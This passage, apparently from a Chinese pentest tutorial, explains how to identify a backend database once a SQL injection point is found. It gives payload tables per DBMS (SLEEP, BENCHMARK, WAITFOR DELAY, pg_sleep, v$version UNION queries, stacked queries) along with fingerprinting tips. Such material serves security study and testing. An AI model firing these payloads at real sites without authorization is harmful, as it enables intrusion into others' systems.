确认注入点后,我们需要识别后端所使用的数据库,因为不同的数据库注入的方式不一样,后期利用手法和条件也不一样。

[!TIP]

核心就是利用数据库特有的一些语法或者函数来判断即可,毕竟要满足该数据库的语法后SQL语句才能正常执行;下面的例子不全面,只是给大家提供一个思路,最明显的就是休眠函数

MySQL

空格--空格是注释,根据具体情况看是否添加

| 描述 | 语句 | | —- | —- |

| SLEEP函数 | page.php?id=1'-SLEEP(1)=0 LIMIT 1 -- |

| BENCHMARK函数 | page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- |

| 字符串连接(注意有个空格) | page.php?id=' 'mysql' --
page.php?id=' and concat('some','string') |

| 版本信息 | select @@version
select version() |

| 错误消息(根据返回的错误信息判断) | page.php?id=' |

| 特有函数 | select connection_id()
select last_insert_id()
select row_count() |

Oracle

| 描述 | 语句 | | —- | —- |

| 字符串连接 | page.jsp?id='||'oracle' -- a |

| 默认表 | page.jsp?id='UNION SELECT 1 FROM v$version --
select banner FROM v$version
select banner FROM v$version WHERE rownum=1 |

| 错误消息(根据返回的错误信息判断) | page.jsp?id=' |

MSSQL

| 描述 | 语句 | | —- | —- |

| WAITFOR 函数 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |

| 堆叠查询默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |

| 错误消息(根据返回的错误信息判断) | page.asp?id=' |

| 错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) | page.asp?id=@@SERVERNAME |

| 错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) | page.asp?id=0/@@SERVERNAME |

| 常量 | @@pack_received
@@rowcount |

PostgreSQL

| 描述 | 语句 | | —- | —- |

| 字符串连接 | page.jsp?id='||'postgresql' -- a |

| 休眠函数 | page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a |

一些经验

| 方法 | 数据库 | | —- | —- |

| 常用搭配 | asp => mssql、access
aspx => mssql
php => mysql、postgresql
java => mysql、oracle、mssql |

| 默认端口 | oracle => 1521
mssql => 1433
mysql => 3306
postgresql => 5432 |

| 数据库特有函数 | pg_sleep() => postgresql
benchmark() => mysql
waitfor delay => mssql
DBMS_PIPE.RECEIVE_MESSAGE() => oracle
… |

| 特殊符号 | ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询
# => Mysql 注释符 |

| 特定表名 | information_schema => mssql,postgresql,mysql
pg_tables => postgresql
sysobjects => mssql
all_tables,user_tables => oracle |

| 报错banner信息 | … |


比较全面可以参考:https://bak.gm7.org/pentestmonkey.net/category/cheat-sheet/sql-injection.html
里面的函数很多,也有执行后的结果(有些函数可能适用多个数据库,可以多用几个判断试试)
image-20220124104139923